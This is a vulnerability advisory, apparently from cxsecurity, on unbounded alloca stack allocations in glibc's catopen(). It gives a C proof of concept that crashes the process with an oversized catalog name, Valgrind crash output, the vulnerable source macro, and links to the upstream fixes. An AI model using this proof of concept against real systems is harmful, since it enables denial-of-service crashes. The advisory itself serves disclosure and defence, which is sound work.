glibc catopen() Unbounded Stack Allocations

`glibc catopen() Multiple unbounded stack allocations  
URL: https://cxsecurity.com/issue/WLB-2016010149  
  
---------------------------------------  
PoC:  
  
#include <nl_types.h>  
#include <string.h>  
#include <stdlib.h>  
  
int main(){  
  
char *buff;  
buff=malloc(11111111);  
memset(buff,'A',11111110);  
buff[11111110]='\0';  
  
catopen(buff, NL_CAT_LOCALE);   
  
return 0;  
}  
---------------------------------------  
  
  
========================  
  
==25788== Memcheck, a memory error detector  
==25788== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.  
==25788== Using Valgrind-3.10.0.SVN and LibVEX; rerun with -h for copyright info  
==25788== Command: ./cato  
==25788==   
==25788== Warning: client switching stacks? SP change: 0xfff000330 --> 0xffe567648  
==25788== to suppress, use: --max-stackframe=11111656 or greater  
==25788== Invalid write of size 8  
==25788== at 0x4E6CD5A: __open_catalog (open_catalog.c:102)  
==25788== by 0x4E6C38E: catopen (catgets.c:71)  
==25788== by 0x400616: main (in /home/kalibaba/cato)  
==25788== Address 0xffe567648 is on thread 1's stack  
==25788==   
==25788==   
==25788== Process terminating with default action of signal 11 (SIGSEGV)  
==25788== Access not within mapped region at address 0xFFE567648  
==25788== at 0x4E6CD5A: __open_catalog (open_catalog.c:102)  
==25788== If you believe this happened as a result of a stack  
==25788== overflow in your program's main thread (unlikely but  
==25788== possible), you can try to increase the size of the  
==25788== main thread stack using the --main-stacksize= flag.  
==25788== The main thread stack size used in this run was 8388608.  
  
  
========================  
  
open_catalog.c  
  
#define ENOUGH(n)   
if (__builtin_expect (bufact + (n) >= bufmax, 0))   
{   
char *old_buf = buf;   
bufmax += 256 + (n);   
buf = (char *) alloca (bufmax); <===============  
memcpy (buf, old_buf, bufact);   
}  
  
  
and others alloca() in catopen()  
  
--- Links ---  
https://sourceware.org/bugzilla/show_bug.cgi?id=17905  
https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=7565d2a862683a3c26ffb1f32351b8c5ab9f7b31  
https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=0f58539030e436449f79189b6edab17d7479796e  
https://www.securecoding.cert.org/confluence/display/seccode/MEM05-C.+Avoid+large+stack+allocations  
  
--- Credit ---  
Maksymilian Arciemowicz from CXSECURITY  
https://cxsecurity.com  
http://cifrex.org  
`